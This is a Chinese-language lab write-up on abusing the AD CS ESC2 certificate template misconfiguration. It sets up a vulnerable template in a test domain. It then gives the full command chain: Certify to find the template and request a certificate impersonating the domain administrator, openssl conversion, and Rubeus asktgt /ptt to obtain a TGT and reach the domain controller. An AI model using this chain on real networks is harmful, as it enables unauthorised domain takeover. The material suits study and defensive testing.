简介:
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。
ESC2原理:
第二种滥用场景是ESC1的变种,当证书模板指定了Any Purpose EKU或根本没有EKU时,证书可以用于任何用途。使用从属CA(比跟CA低一级的CA)证书,攻击者能够指定新证书中的任意EKUs或字段。
ESC2利用条件:
ESC2要成功利用要满足以下几点(最主要是前2点)
1、需要有权限去注册证书
2、证书模板中定义了no EKU或any Purpose EKU
3、颁发 CA 授予低权限用户请求权限 (默认)
4、模板中 CA 管理员审批未启用 (默认)
5、模板中不需要授权的签名 (默认)
这里还有一个关键点
如果请求者不能指定SAN, ESC2不能像ESC1一样被滥用,但是,它可以像ESC3一样被滥用。
ESC2漏洞环境配置:
首先进入证书颁发机构
选中证书模板,右键管理
接着创建一个具有以上3个利用条件的证书模板(SAN也算上)
选中工作站身份验证
右键复制模板
模板命名为ESC2
需要更改以下配置:
安全属性中设置注册权限
这里我们要使用ESC1的方法去复现,这儿使用者名称也要改一下
扩展中应用策略属性全删除
保存后,我们在证书颁发机构证书模板上右键颁发
这样,我们得ESC2漏洞环境就搭建完成了
ESC2漏洞复现:
漏洞的利用过程和ESC1一样
这里用来检查证书配置需要用到一款工具Certify
https://github.com/GhostPack/Certify
编译完成后一般是一个exe和一个dll
把他传到域内机器上
执行命令
Certify.exe find /vulnerable
```bash
C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'
[*] Listing info about the Enterprise CA 'test-CA-CA'
Enterprise CA Name : test-CA-CA
DNS Hostname : CA.test.com
FullName : CA.test.com\test-CA-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=test-CA-CA, DC=test, DC=com
Cert Thumbprint : BA926BC14D8A5A42A94F7A75289F761ED3D55676
Cert Serial : 6B1C11898A943F83420886349402F998
Cert Start Date : 2023/2/1 23:43:31
Cert End Date : 2028/2/1 23:53:30
Cert Chain : CN=test-CA-CA,DC=test,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
Allow ManageCA, ManageCertificates TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : CA.test.com\test-CA-CA
Template Name : ESC2
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : <null>
mspki-certificate-application-policy : <null>
Permissions
Enrollment Permissions
Enrollment Rights : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Domain Computers S-1-5-21-3103767057-400549548-1822187925-515
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
Object Control Permissions
Owner : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
WriteOwner Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteDacl Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
WriteProperty Principals : TEST\Administrator S-1-5-21-3103767057-400549548-1822187925-500
TEST\Domain Admins S-1-5-21-3103767057-400549548-1822187925-512
TEST\Enterprise Admins S-1-5-21-3103767057-400549548-1822187925-519
可以发现存在漏洞模板,且符合ECS2的利用条件
接着给域管administrator申请一个证书
Certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC2 /altname:administrator
成功获取证书
接着把pem格式的证书复制保存txt中,改名cert.pem
然后复制进kali中
接着转换格式
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
接着把pfx格式的证书重新拉进攻击机上,同时使用Rubeus工具获取tgt
https://github.com/GhostPack/Rubeus
在获取tgt之前,我们尝试访问域控上的文件,发现无法访问
使用Rubeus获取tgt
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.161.177 /ptt
可以发现成功获取tgt票据
这时候就可以访问域控文件了
Comments NOTHING